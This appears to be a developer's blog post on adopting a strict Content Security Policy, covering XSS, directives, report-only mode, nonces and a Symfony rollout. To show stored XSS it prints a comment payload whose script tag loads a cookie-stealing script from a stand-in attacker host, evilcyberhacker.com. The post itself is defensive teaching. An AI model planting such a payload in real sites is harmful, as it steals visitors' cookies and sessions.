What is a Content Security Policy? What problems does it solve? How can I use it to make my site more secure? How do I implement it without breaking my site? These are the questions I’m aiming to answer by sharing my experience of implementing a strict Content Security Policy while not breaking anything.

What is a Content Security Policy (CSP)

When setting up the infrastructure for my startup, I came across securityheaders.com which scans any website and ranks its security based on which HTTP headers it returns. There are many changes you should make to your HTTP headers to increase your security, some new headers you should add, and some you should remove. One of these headers is the Content Security Policy.

What problems does it solve?

The browser will load anything it’s told, add a Content Security Policy and it wil only load approved content. This default behaviour is the basis for many cyber attacks today, the most common of which is an XSS (Cross Site Scripting) attack.

The basics of an XSS attack is when an attacker will trick the browser into loading untrusted content in order to attack a websites visitors. As an example, take a look at hack-yourself-first.com which is a great website set up by Troy Hunt for everyone to learn how to secure their site by hacking another.

Do a search on the site and you’ll see your search terms reflected back to you, and in the source you’ll find:

  // ...


But, if you search for


the source will contain:

  // ...


Which means you can send the following link to a user, and they will be redirected to evilcyberhacker.com and send along their cookies in the URL, for the attacker to find in their server logs.


The only reason this attack is possible is because the browser loads and executes the inline script tag. Another XSS attack could be adding a comment with this as the comment body:

<script src="http://evilcyberhacker.com/stealcookies.js" /> Wow! What a cool website.

Then when a user visits the page, the browser will automatically load and run stealcookies.js, which doesn’t sound pleasant.

Next up, we’ll see how we can prevent these sort of attacks with a Content Security Policy.

How will it make my site more secure?

So you’re probably thinking that you can just sanitise your input and output and then you’re not vulnerable to XSS attacks, meaning you don’t need to worry about a CSP. And you would be almost right! Even if your site is entirely rock-solid and it’s impossible for someone to trick a browser viewing your site into loading an untrusted script, there are still issues that a CSP will solve:

  1. Once your site gets big enough, it’s hard to ensure that every single input/output is sanitised correctly. Both the above examples must be sanitised in different ways, because they’re loaded in different contexts (javascript vs. html). The larger your site gets, the more likely it is that you’ll miss something, leaving your users vulnerable.
  2. Your users will have all sorts of dodgey browser extensions installed, from free VPN’s such as Hola to extensions that allow you to stream torrent videos while they download. These extensions have almost unlimited access to the DOM.

A properly implemented CSP is essentially a blanket ban on not only XSS attacks, but any attack that relies on the browser loading untrusted assets. In order for an attacker to compromise your CSP protected site, they must first gain access to the approved sources you list in your policy.

Yes, you should still write secure code and not leave XSS flaws everywhere. But adding a good CSP closes off extra avenues of attack (such as dodgy browser extensions) and also covers your back if you slip up and don’t sanitise some output.

CSP basics

A CSP header contains a list of “directives”, with each directive holding a list trusted sources. Some of the common directives are:

  • script-src - where we can load javascript from
  • style-src - where we can load CSS from
  • img-src - where we can load images from
  • font-src - where we can load fonts from
  • connect-src - where scripts can load urls from (ie. Fetch, XMLHttpRequest, etc)
  • default-src - applied to every directive not explicitly specified
  • block-all-mixed-content - prevents assets being loaded over HTTP
  • upgrade-insecure-requests - forces assets to be loaded over HTTPS
  • report-uri - a location to report all policy violations

(for a more in depth view, see the MDN)

A basic CSP header looks like this:

Content-Security-Policy: default-src 'none'; script-src: 'self'; style-src: 'self'
fonts.googleapis.com; img-src: instagram.com; report-uri: example.report-uri.com/r/d/csp/enforce

Which allows:

  • JavaScript to be loaded only from the current host (ie. your site)
  • CSS to be loaded from the current host and fonts.googleapis.com
  • Images to be loaded only from Instagram
  • Everything else is not allowed to be loaded at all, not even from the current host

And if anything violates this policy (ie. tries to load assets from an untrusted source), the violation will be reported to example.report-uri.com/r/d/csp/enforce. You can either implement an endpoint in your own app that accepts and saves the reports, or you can use a service such as report-uri.com which is free for up to 10,000 reports per month.

You could set default-src to 'self', then everything not specified would be able to be loaded from your site, but it’s a good idea to set it to 'none' and explicitly list each directive your site requires.

A CSP can be easy to mess up. If you make it too strict your application won’t work because it can’t load it’s required assets. If you make it too lax, it becomes useless and you might as well not have it. For some great examples check out Useless CSP for a list of fairly high profile sites that did not implement their CSP correctly.

CSP report-only

You can place your CSP in report only mode by using the Content-Security-Policy-Report-Only header instead of Content-Security-Policy. This means the browser will raise an error in the console for every violation and also send a report to the report-uri if it’s specified. This is the key to not breaking your site, and also to upgrading your CSP over time. This way you roll the changes into production, and monitor the reports to make sure you haven’t missed anything. Once you’re happy that you’ve allowed all the sources you trust, you can switch to the Content-Security-Policy header and you’re golden!

You can also specify both headers at the same time, which will cause the browser to apply the report-only policy first, then the enforced policy. So you can test any changes to your CSP before enforcing them.

Browser incompatibilities

We’re working in the web, of course the are browser incompatibilities, and of course the problem is Internet Explorer. IE doesn’t support Content-Security-Policy but instead uses the X-Content-Security-Policy header, it does however support most of the standard so you can use the same value for both headers. As far as browser incompatibilities go, it’s definitely not the worst.

How do I implement it without breaking my site?

A mis-configured CSP can easily break your site. If you don’t approve the sources that you depend on, then your site just won’t work. So I’m going to walk you through the steps I took to successfully implement our CSP without breaking anything (much).

I started out by adding the header to my nginx config:

add_header Content-Security-Policy-Report-Only "default-src: 'none'; ..."

A problem quickly arose when I needed to change the header, meaning I had to rebuild my dev virtual machine as well as staging and production just to allow fonts.googleapis.com. Setting the header in app code makes changes easier to deploy. Doing this manually with Symfony would require using the PHP header function, or setting it on every Symfony Response:


// Vanilla PHP
header('Content-Security-Policy-Report-Only "default-src \'none\'; ..."');

// Symfony Response
$response->headers->set('Content-Security-Policy-Report-Only', "default-src 'none'; ...','");

But this very quickly gets large and unmaintainable, our current CSP is hundreds of characters long. So I turned to the NelmioSecurityBundle for Symfony, which allows me to use nice Yaml config. There are good libraries for almost every framework, with a quick Google search I was able to find:

Step one - deny all

            block-all-mixed-content: true
            default-src: ['none']

Which gave me a lot of console errors, as expected:

PHP Version Usage

Step two - allow the easy things

We get this helpful list of every asset that the site requires, so now we add them. This is where it’s helpful to find the documentation for your 3rd party dependencies. They will often list everything you need to add to your CSP to work with them. In our case we use:

            block-all-mixed-content: true
            default-src: ['none']
                - 'self'
                - 'self'
                - 'self'
                - 'self'
                - 'self'

Step three - deal with inline scripts

Now that I had trimmed down most of the noise, I noticed that there were a lot of unsafe-inline scripts being executed. This is for every inline <script> tag that we had. That’s where the nonce comes in.

<script nonce="{{ csp_nonce('script') }}">

This will generate a crypotographically secure nonce (number used only once) and attach it to the inline scripts. It then adds the nonce to the CSP header, to tell the browser that any inline script with this nonce is trusted.

Content-Security-Policy script-src: 'nonce-67eab753ab3f0a713e02b07421dae6b7' ...

Step four - webpack and unsafe-eval

From this point I turned my attention to the obscene amount of errors coming through about using unsafe-eval. Our webpack config uses devtool: eval in order to speed up development builds. So I allowed unsafe eval in dev but not in production - that would negate the entire point of the CSP.

Step five - report-uri and deploy

Now that I wasn’t getting any errors in dev, I signed up for report-uri.com, added it to my config and deployed to staging and production.

            report-uri: https://example.report-uri.com/r/d/csp/reportOnly
            block-all-mixed-content: true
            default-src: ['none']

Step six - monitor

Checking report-uri revealed that every page load was getting hundreds of errors in production. The investigation uncovered that a couple of problems:

  • our webpack config was misconfigured and using devtool: eval for the production 😲
    • easily solved by changing the config to only allow eval for development builds
  • we were using <a href="javascript:void(0)"> to make links work like buttons to deal with different browser inconsistencies
    • solved by using tabindex="0" and dropping the href attribute

Step 7 - enforce

After a week or so in production we weren’t getting any more CSP violations coming through, so I switched the CSP header into enforce and rescanned our site on securityheaders.com to enjoy the A+ rating!


The Content-Security-Policy header is very powerful, allowing you to whitelist trusted sources to load assets from. This essentially puts a blanket ban on some of the most common cyber attacks. If implemented improperly it can render your website useless, but with a little patience you can easily add one to your site without breaking anything!